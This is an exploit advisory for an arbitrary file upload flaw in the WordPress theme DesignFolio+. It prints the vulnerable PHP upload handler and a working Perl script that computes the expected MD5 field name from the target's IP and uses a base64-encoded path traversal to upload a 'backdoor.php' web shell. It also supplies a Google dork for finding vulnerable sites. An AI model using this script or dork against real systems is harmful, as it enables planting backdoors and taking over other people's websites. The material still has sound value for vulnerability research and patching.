Wordpress Theme DesignFolio+ Arbitrary File Upload

#########################################################
# Exploit Title: Wordpress Theme DesignFolio+ Arbitrary File Upload Vulnerability
# Google dork: inurl:wp-content/themes/DesignFolio-Plus
# Author: CrashBandicot
# Date: 04.03.2015
# OSVDB-ID: 119623
# Vendor HomePage: https://github.com/UpThemes/DesignFolio-Plus
# Software Link: https://github.com/UpThemes/DesignFolio-Plus/archive/master.zip
# tested on : MsWin32
#########################################################

Vulnerable File : upload-file.php
<?php
//Upload Security
$upload_security = md5($_SERVER['SERVER_ADDR']);
$uploaddir = base64_decode( $_REQUEST['upload_path'] ) . "/";
if( $_FILES[$upload_security] ):
        $file = $_FILES[$upload_security];
        $file = $uploaddir . strtolower(str_replace('__', '_', str_replace('#', '_', str_replace(' ', '_', basename($file['name'])))));

                if (move_uploaded_file( $_FILES[$upload_security]['tmp_name'], $file)):
                        if(chmod($file,0777)):
                            echo "success";
                        else:
                                echo "error".$_FILES[$upload_security]['tmp_name'];
                        endif;
                else:
                    echo "error".$_FILES[$upload_security]['tmp_name'];
                endif;
endif;
?>

Exploit

#!/usr/bin/perl

use Digest::MD5 qw(md5 md5_hex);
use MIME::Base64;
use IO::Socket;
use LWP::UserAgent;

    system(($^O eq 'MSWin32') ? 'cls' : 'clear');
        print "\n\t     ! *** #  ^_^ # *** !\n\t      :p\n\n";

$use = "\n\t  [!] ./$0 127.0.0.1 backdoor.php";

($target ,$file) = @ARGV;

die "$use" unless $ARGV[0] && $ARGV[1];

if($target =~ /http:\/\/(.*)\//){ $target = $1; }
elsif($target =~ /http:\/\/(.*)/){ $target = $1; }
elsif($target =~ /https:\/\/(.*)\//){ $target = $1; }
elsif($target =~ /https:\/\/(.*)/){ $target = $1; }

my $addr = inet_ntoa((gethostbyname($target))[4]);
my $digest = md5_hex($addr);
my $dir = encode_base64('../../../../');

my $ua = LWP::UserAgent->new( agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},);
$pst = $ua->post("http://".$target."/wp-content/themes/designfolio-plus/admin/upload-file.php", Content_Type => 'form-data', Content => [ $digest => [$file] , upload_path => $dir ]);
if($pst->is_success) { print "[+] Backdoor Uploaded !"; } else { print "\n [-] Bad Response Header :/ FAIL"; }

__END__


# File path: http://target/shell.php